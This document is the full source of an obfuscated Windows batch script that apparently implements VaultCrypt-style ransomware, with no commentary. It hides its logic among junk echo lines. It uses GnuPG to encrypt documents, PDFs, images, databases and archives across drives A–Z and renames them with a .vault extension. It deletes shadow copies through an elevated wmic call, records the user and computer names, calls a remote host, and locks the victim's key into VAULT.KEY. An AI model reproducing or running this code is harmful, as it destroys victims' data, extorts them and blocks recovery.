echo nes2AzanaBU2AtaST4wUzEc5anAd5U5e >nul
echo pUprESPeResWaZuPrasw38eduzEBruzA >nul
chcp 866
set 715c7be3=!RANDOM!
set b67b5d00=!RANDOM!
echo yAphareSwu4UtAspetrukatRes84etha >nul
echo 3RAFaY8dUtremaserabAtr7MagEbrAd8 >nul
set dc841a88=!RANDOM!
set db5a2d8a=!RANDOM!
echo yAphareSwu4UtAspetrukatRes84etha >nul
echo 3RAFaY8dUtremaserabAtr7MagEbrAd8 >nul
set ee1f189d=!RANDOM!
set 2162ea2b=!RANDOM!
echo yAphareSwu4UtAspetrukatRes84etha >nul
echo 3RAFaY8dUtremaserabAtr7MagEbrAd8 >nul
set 58d179b8=!RANDOM!
set 3d645b52=RU
if exist "%APPDATA%\gnupg" RENAME "%APPDATA%\gnupg" gnupg_%random%
echo yAphareSwu4UtAspetrukatRes84etha >nul
echo 3RAFaY8dUtremaserabAtr7MagEbrAd8 >nul
echo Key-Type: RSA> "%temp%\9c668934.2ca1046c"
echo Key-Length: 1024>> "%temp%\9c668934.2ca1046c"
echo yAphareSwu4UtAspetrukatRes84etha >nul
echo 3RAFaY8dUtremaserabAtr7MagEbrAd8 >nul
echo Name-Real: Cellar>> "%temp%\9c668934.2ca1046c"
echo yAphareSwu4UtAspetrukatRes84etha >nul
echo 3RAFaY8dUtremaserabAtr7MagEbrAd8 >nul

"%temp%\gpg.exe" --batch --homedir "%temp%" --gen-key "%temp%\9c668934.2ca1046c"
echo CUdUbruTra6rafarafReduhepadraYug >nul
echo te6eVUW8e5eR5chUGachef4nu6r3xenU >nul
echo -----BEGIN PGP PUBLIC KEY BLOCK-----> "%temp%\03dfb98e.7087b06e"
echo CUdUbruTra6rafarafReduhepadraYug >nul
echo te6eVUW8e5eR5chUGachef4nu6r3xenU >nul
echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
echo Version: GnuPG v1>> "%temp%\03dfb98e.7087b06e"
echo thefr4brUYe36aFrecHathePr7CAFanE >nul
echo trufufrecrututheg5prewrefeXaswe3 >nul
echo.>> "%temp%\03dfb98e.7087b06e"
echo thefr4brUYe36aFrecHathePr7CAFanE >nul
echo trufufrecrututheg5prewrefeXaswe3 >nul
echo mI0EVbFePwEEAMM+eRmPkcVTTwqLOyCkSlOTDjfnJpU2vTt94yMq1c1Ix1RF2fxp>> "%temp%\03dfb98e.7087b06e"
echo thefr4brUYe36aFrecHathePr7CAFanE >nul
echo trufufrecrututheg5prewrefeXaswe3 >nul
echo S9ZDuQ9qfhqUxXiUtsEY7kB1pHtcyCeqtdrYST4YzJTeNCZNTiq2mVkQlPXqcvO/>> "%temp%\03dfb98e.7087b06e"
echo hXpyYH/DNB6XmdQP9rmb/gIb5qHpRNoWlb1MBDZAJnHU3PEA2LcXbBX/ABEBAAG0>> "%temp%\03dfb98e.7087b06e"
echo ClZhdWx0Q3J5cHSIuAQTAQIAIgUCVbFePwIbLwYLCQgHAwIGFQgCCQoLBBYCAwEC>> "%temp%\03dfb98e.7087b06e"
echo thefr4brUYe36aFrecHathePr7CAFanE >nul
echo trufufrecrututheg5prewrefeXaswe3 >nul
echo HgECF4AACgkQ+Zg2Eii5y+eiQQQAm9r0sfXO5pp4/yy6lJG+zZAiijgzECVAQvw9>> "%temp%\03dfb98e.7087b06e"
echo j+JE6n7mZnZDm632PrLumTHE9PauifXmyTFf0RPUI/D5B8QFPQn9hoNf041aaEgq>> "%temp%\03dfb98e.7087b06e"
echo thefr4brUYe36aFrecHathePr7CAFanE >nul
echo trufufrecrututheg5prewrefeXaswe3 >nul
echo bTQSy7TIwZJfTyZyq/yhJiH0RLI7yhj/88sjX+uu7miGHO9jb1ygTo/qe5n3Q/Vp>> "%temp%\03dfb98e.7087b06e"
echo xpSJJFU=>> "%temp%\03dfb98e.7087b06e"
echo PreQ3baxuwuP42EX2tepeTra5rA6eN4C >nul
echo ZewrU5u8A4A8Ra5He2heXeWr6bRuzePU >nul
echo =CuiR>> "%temp%\03dfb98e.7087b06e"
echo -----END PGP PUBLIC KEY BLOCK----->> "%temp%\03dfb98e.7087b06e"
echo PreQ3baxuwuP42EX2tepeTra5rA6eN4C >nul
echo ZewrU5u8A4A8Ra5He2heXeWr6bRuzePU >nul

"%temp%\gpg.exe" -r Cellar --export-secret-keys --yes --homedir "%temp%" -a> "%temp%\3637bf69.36ddf8fe"
del /f /q "%temp%\9c668934.2ca1046c"
echo PreQ3baxuwuP42EX2tepeTra5rA6eN4C >nul
echo ZewrU5u8A4A8Ra5He2heXeWr6bRuzePU >nul
echo.>> "%temp%\3637bf69.36ddf8fe"
echo BDATE: !DATE!>> "%temp%\3637bf69.36ddf8fe"
echo PreQ3baxuwuP42EX2tepeTra5rA6eN4C >nul
echo ZewrU5u8A4A8Ra5He2heXeWr6bRuzePU >nul
echo UNAME: !USERNAME!>> "%temp%\3637bf69.36ddf8fe"
echo CNAME: !COMPUTERNAME!>> "%temp%\3637bf69.36ddf8fe"
echo PQQID: AKG-4813>> "%temp%\3637bf69.36ddf8fe"
echo ULANG: !3d645b52!>> "%temp%\3637bf69.36ddf8fe"
echo PreQ3baxuwuP42EX2tepeTra5rA6eN4C >nul
echo ZewrU5u8A4A8Ra5He2heXeWr6bRuzePU >nul
echo 01HSH: !715c7be3!>> "%temp%\3637bf69.36ddf8fe"
echo 02HSH: !b67b5d00!>> "%temp%\3637bf69.36ddf8fe"
echo 03HSH: !db5a2d8a!>> "%temp%\3637bf69.36ddf8fe"
echo PreQ3baxuwuP42EX2tepeTra5rA6eN4C >nul
echo ZewrU5u8A4A8Ra5He2heXeWr6bRuzePU >nul
echo 04HSH: !dc841a88!>> "%temp%\3637bf69.36ddf8fe"
echo 05HSH: !ee1f189d!>> "%temp%\3637bf69.36ddf8fe"
echo PreQ3baxuwuP42EX2tepeTra5rA6eN4C >nul
echo ZewrU5u8A4A8Ra5He2heXeWr6bRuzePU >nul
echo FHASH: !2162ea2b!>> "%temp%\3637bf69.36ddf8fe"
echo chcp 866 > "%temp%\61231f25.9db8b89a"
echo 3ekudesewekePrUBreqAcrabrastUCHu >nul
echo spEfAch6gaCHetHuMEM2fUgexuj27rAS >nul
FOR %%f IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :1010f32d %%f
echo if exist "%%TeMp%%\VAULT.KEY" echo 01FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
echo 3ekudesewekePrUBreqAcrabrastUCHu >nul
echo spEfAch6gaCHetHuMEM2fUgexuj27rAS >nul
echo if exist "%%AppDATA%%\VAULT.KEY" echo 01FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 01FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
goto 441f5342
echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul
echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul
echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul
:1010f32d
dir /B "%1:\"&& for /r "%1:\" %%i in (*.xls *.doc) do (
echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a"
echo %%i>> "%temp%\21b0fb7b.7ca0ec0c"
)
goto:eof
echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul
echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul
echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul
:441f5342
echo Set objShell = CreateObject^("Shell.Application"^) > "%temp%\59665d79.vbs"
echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul
echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul
echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul
echo Set objWshShell = WScript.CreateObject^("WScript.Shell"^) >> "%temp%\59665d79.vbs"
echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul
echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul
echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul
echo Set objWshProcessEnv = objWshShell.Environment^("PROCESS"^) >> "%temp%\59665d79.vbs"
echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul
echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul
echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul
echo objShell.ShellExecute "wmic.exe", "shadowcopy delete /nointeractive", "", "runas", 0 >> "%temp%\59665d79.vbs"
echo var cdp="%%TEMP%%\\69aca909.cmd";var WshShell=CreateObject("WScript.Shell");cdp=WshShell.ExpandEnvironmentStrings(cdp);function CreateObject(fq){return new ActiveXObject(fq)}function xx(cdp){WshShell.Run(cdp,0,0);}xx(''+cdp+'');> "%temp%\acda3f33.js"
echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul
echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul
echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul
echo.> "%temp%\69aca909.cmd"
echo SetLocal EnableDelayedExpansion>> "%temp%\69aca909.cmd"
echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul
echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul
echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul
echo for /f "tokens=2*" %%%%i in ^('reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v "CurrentVersion"'^) do set fnd7=%%%%j>> "%temp%\69aca909.cmd"
echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul
echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul
echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul
echo if not %%fnd7:~0,1%% GEQ 6 goto a3811a18>> "%temp%\69aca909.cmd"
echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul
echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul
echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul
echo set ntries=^0>> "%temp%\69aca909.cmd"
echo :3c843d11>> "%temp%\69aca909.cmd"
echo wscript.exe //B //Nologo "%%temp%%\59665d79.vbs"^& tasklist^|findstr /i wmic.exe>> "%temp%\69aca909.cmd"
echo if not ^^!errorlevel^^!==0 ^(>> "%temp%\69aca909.cmd"
echo swETEcHukuSpaj7q2CAQu8ESa3rUzaq3 >nul
echo dA8ruKA4EsePr4PHaYUWrUStaV2pahe3 >nul
echo set /a ntries+=^1>> "%temp%\69aca909.cmd"
echo if not ^^!ntries^^! GEQ 16 goto 3c843d11>> "%temp%\69aca909.cmd"
echo ^)>> "%temp%\69aca909.cmd"
echo swETEcHukuSpaj7q2CAQu8ESa3rUzaq3 >nul
echo dA8ruKA4EsePr4PHaYUWrUStaV2pahe3 >nul
echo :a3811a18>> "%temp%\69aca909.cmd"
echo del /f /q "%temp%\acda3f33.js">> "%temp%\69aca909.cmd"
echo del /f /q "%temp%\59665d79.vbs">> "%temp%\69aca909.cmd"
echo swETEcHukuSpaj7q2CAQu8ESa3rUzaq3 >nul
echo dA8ruKA4EsePr4PHaYUWrUStaV2pahe3 >nul
echo echo del /f /q "%temp%\59665d79.vbs">> "%temp%\69aca909.cmd"
echo echo 1107cc4c ^> "%%temp%%\69aca909.cmd">> "%temp%\69aca909.cmd"
start wscript.exe //B //Nologo "%temp%\acda3f33.js"
echo swETEcHukuSpaj7q2CAQu8ESa3rUzaq3 >nul
echo dA8ruKA4EsePr4PHaYUWrUStaV2pahe3 >nul
FOR %%f IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :c68cd952 %%f
echo if exist "%%TeMp%%\VAULT.KEY" echo 02FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
echo if exist "%%AppDATA%%\VAULT.KEY" echo 02FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 02FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
goto 9b100e11
echo swETEcHukuSpaj7q2CAQu8ESa3rUzaq3 >nul
echo dA8ruKA4EsePr4PHaYUWrUStaV2pahe3 >nul
:c68cd952
dir /B "%1:\"&& for /r "%1:\" %%i in (*.pdf *.rtf) do (
echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a"
echo %%i>> "%temp%\21b0fb7b.7ca0ec0c"
)
goto:eof
echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
:9b100e11
echo x5fawEmawuZA7pu7amES7uZUdega7u6E >nul
echo daprE8ESWUDaja3hUprawrUyaSEbEBe4 >nul
FOR %%f IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :a556dfcb %%f
echo if exist "%%TeMp%%\VAULT.KEY" echo 03FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
echo if exist "%%AppDATA%%\VAULT.KEY" echo 03FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 03FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
goto cd9f3e2a

echo x5fawEmawuZA7pu7amES7uZUdega7u6E >nul
echo daprE8ESWUDaja3hUprawrUyaSEbEBe4 >nul
:a556dfcb
dir /B "%1:\"&& for /r "%1:\" %%i in (*.psd *.dwg *.cdr) do (
echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a"
echo %%i>> "%temp%\21b0fb7b.7ca0ec0c"
)
goto:eof
:cd9f3e2a
FOR %%f IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :071faa5e %%f
echo if exist "%%TeMp%%\VAULT.KEY" echo 04FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
echo if exist "%%AppDATA%%\VAULT.KEY" echo 04FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 04FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
goto e0aede1c
:071faa5e
dir /B "%1:\"&& for /r "%1:\" %%i in (*.cd *.mdb *.1cd *.dbf *.sqlite) do (
echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a"
echo %%i>> "%temp%\21b0fb7b.7ca0ec0c"
)
goto:eof
:e0aede1c
FOR %%s IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :f941ecc1 %%s
echo if exist "%%TeMp%%\VAULT.KEY" echo 05FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
echo if exist "%%AppDATA%%\VAULT.KEY" echo 05FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 05FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
goto ca70214e
:f941ecc1
dir /B "%1:\"&& for /r "%1:\" %%i in (*.jpg *.zip) do (
echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a"
echo %%i>> "%temp%\21b0fb7b.7ca0ec0c"
)
goto:eof
:ca70214e
set loco=!random!!random!
echo x5fawEmawuZA7pu7amES7uZUdega7u6E >nul
echo daprE8ESWUDaja3hUprawrUyaSEbEBe4 >nul
echo function CreateObject^(b^){return new ActiveXObject^(b^)} >> !loco!.js
echo ahdkUAHFahjdkuhjau82uhdADUKshd7rq >nul
echo prEMayafRuDubrug3fRUmEChubrustuy >nul
echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
echo frEchUS3eSwEB6espeb4kEXuc2EChAsp >nul
echo function ok^(b^){var c=new ActiveXObject^("MSXML2.XMLHTTP"^);c.open^("GET",b,0^);c.send^(^)} >> !loco!.js
echo ahdkUAHFahjdkuhjau82uhdADUKshd7rq >nul
echo prEMayafRuDubrug3fRUmEChubrustuy >nul
echo frEchUS3eSwEB6espeb4kEXuc2EChAsp >nul
echo ok^("http://attached-email.com/c1.php"^); >> !loco!.js
echo ahdkUAHFahjdkuhjau82uhdADUKshd7rq >nul
echo prEMayafRuDubrug3fRUmEChubrustuy >nul
echo frEchUS3eSwEB6espeb4kEXuc2EChAsp >nul
wscript.exe //B //nologo //T:40 "!loco!.js"
echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul
echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul
echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul
echo speFrez4chE3asw4RebrU32haGedaDAD >nul
echo echo FHASH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
echo echo FHASH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul
echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul
echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul
echo speFrez4chE3asw4RebrU32haGedaDAD >nul
echo echo FHASH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
echo echo 1e759748 ^> "%%TeMp%%\4c2e533d.cmd">> "%temp%\61231f25.9db8b89a"
echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul
echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul
echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul
echo speFrez4chE3asw4RebrU32haGedaDAD >nul
echo del /f /q "%%TeMp%%\4c2e533d.cmd">> "%temp%\61231f25.9db8b89a"
findstr /i /v "windows recycle program avatar roaming msoffice temporary sample themes uploads csize resource internet com_ intel common resources texture profiles library clipart manual games framework64 setupcache autograph maps amd64 cache support guide abbyy application thumbnails avatars template adobe" "%temp%\21b0fb7b.7ca0ec0c"> "%temp%\97cf86b0.e479bce7"
echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul
echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul
echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul
echo speFrez4chE3asw4RebrU32haGedaDAD >nul
findstr /i /v "windows recycle program avatar roaming msoffice temporary sample themes uploads csize resource internet com_ intel common resources texture profiles library clipart manual games framework64 setupcache autograph maps amd64 cache support guide abbyy application thumbnails avatars template adobe" "%temp%\61231f25.9db8b89a"> "%temp%\f2a431bc.6ccc04ec"
echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul
echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul
echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul
echo speFrez4chE3asw4RebrU32haGedaDAD >nul
findstr /v "AppData APPDATA appdata temp TEMP Temp" "%temp%\97cf86b0.e479bce7"> "%temp%\8f9c3dbb.9767d548"
echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul
echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul
echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul
echo speFrez4chE3asw4RebrU32haGedaDAD >nul
findstr /v "AppData APPDATA appdata temp TEMP Temp" "%temp%\f2a431bc.6ccc04ec"> "%temp%\4c2e533d.cmd"
del /f /q "%temp%\97cf86b0.e479bce7"
del /f /q "%temp%\f2a431bc.6ccc04ec"
echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul
echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul
echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul
echo speFrez4chE3asw4RebrU32haGedaDAD >nul
del /f /q "%temp%\21b0fb7b.7ca0ec0c"
echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul
echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul
echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul
echo speFrez4chE3asw4RebrU32haGedaDAD >nul
del /f /q "%temp%\61231f25.9db8b89a"
echo XCONF: !58d179b8!>> "%temp%\3637bf69.36ddf8fe"
echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul
echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul
echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul
echo speFrez4chE3asw4RebrU32haGedaDAD >nul
set 3a3b7af1=66668
for /f %%f in ('find /c /v ""^< "%temp%\8f9c3dbb.9767d548"') do (
set 3a3b7af1=%%f
)
echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul
echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul
echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul
echo speFrez4chE3asw4RebrU32haGedaDAD >nul
echo QNTTY: !3a3b7af1!>> "%temp%\3637bf69.36ddf8fe"
for %%c IN (01:xls 04:doc 05:rtf 10:pdf 11:psd 12:dwg 13:cdr 19:cd 20:mdb 21:1cd 23:dbf 24:sqlite 26:jpg 27:zip) do (
for /f "tokens=1,2 delims=:" %%i in ("%%c") do (
for /f %%b in ('find /c /i ".%%j"^< "%temp%\8f9c3dbb.9767d548"') do (
echo %%iEXT: %%b>> "%temp%\3637bf69.36ddf8fe"
)))
echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
echo 02EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
echo 03EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
echo 06EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
echo 07EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
echo 08EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
echo 09EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
echo 14EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
echo 15EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
echo 16EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
echo 17EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
echo 18EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
echo 22EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
echo 25EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
echo 28EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
echo 29EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
echo.>> "%temp%\8f9c3dbb.9767d548"
echo XCONF: !58d179b8!>> "%temp%\8f9c3dbb.9767d548"
echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
del /f /q "!loco!.js"
"%temp%\gpg.exe" --import "%temp%\03dfb98e.7087b06e"
del /f /q "%temp%\03dfb98e.7087b06e"
echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
"%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always -o "%temp%\VAULT.KEY" -e "%temp%\3637bf69.36ddf8fe"
echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
"%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always -o "%temp%\CONFIRMATION.KEY" -e "%temp%\8f9c3dbb.9767d548"
echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
if not exist "%temp%\VAULT.KEY" (
"%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always --encrypt-files "%temp%\3637bf69.36ddf8fe"
echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
RENAME "%temp%\3637bf69.36ddf8fe.gpg" VAULT.KEY
)
if not exist "%temp%\CONFIRMATION.KEY" (
"%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always --encrypt-files "%temp%\8f9c3dbb.9767d548"
RENAME "%temp%\8f9c3dbb.9767d548.gpg" CONFIRMATION.KEY
echo spewuxeJubrupruthUmex33EpafrAbre >nul
echo T8eQewUvebR4fraThaKu2uqase85xe8u >nul
echo wrasatuNabrefr8stubruxuhAreCHapr >nul
)
if not exist "%temp%\VAULT.KEY" (
del /f /q "%temp%\*.vlt"
del /f /q "%temp%\*.gpg"
echo spewuxeJubrupruthUmex33EpafrAbre >nul
echo T8eQewUvebR4fraThaKu2uqase85xe8u >nul
echo wrasatuNabrefr8stubruxuhAreCHapr >nul
del /f /q "%temp%\random_seed"
del /f /q "%temp%\*.lock"
echo spewuxeJubrupruthUmex33EpafrAbre >nul
echo T8eQewUvebR4fraThaKu2uqase85xe8u >nul
echo wrasatuNabrefr8stubruxuhAreCHapr >nul
del /f /q "%temp%\*.bak"
del /f /q "%temp%\*.list"
echo spewuxeJubrupruthUmex33EpafrAbre >nul
echo T8eQewUvebR4fraThaKu2uqase85xe8u >nul
echo wrasatuNabrefr8stubruxuhAreCHapr >nul
goto 6d0f24b8
)
echo.>> "%temp%\VAULT.KEY"
echo 01FNSH-!715c7be3!>> "%temp%\VAULT.KEY"
echo 2hUwaJe7enacePrek25payEneteyuThU >nul
echo yu8avat34jeq4vapr3JUceC3uquvethe >nul
echo 02FNSH-!b67b5d00!>> "%temp%\VAULT.KEY"
echo 2hUwaJe7enacePrek25payEneteyuThU >nul
echo yu8avat34jeq4vapr3JUceC3uquvethe >nul
echo 03FNSH-!db5a2d8a!>> "%temp%\VAULT.KEY"
echo 04FNSH-!dc841a88!>> "%temp%\VAULT.KEY"
echo 2hUwaJe7enacePrek25payEneteyuThU >nul
echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
echo yu8avat34jeq4vapr3JUceC3uquvethe >nul
echo 05FNSH-!ee1f189d!>> "%temp%\VAULT.KEY"
echo FHASH-!2162ea2b!>> "%temp%\VAULT.KEY"
echo 2hUwaJe7enacePrek25payEneteyuThU >nul
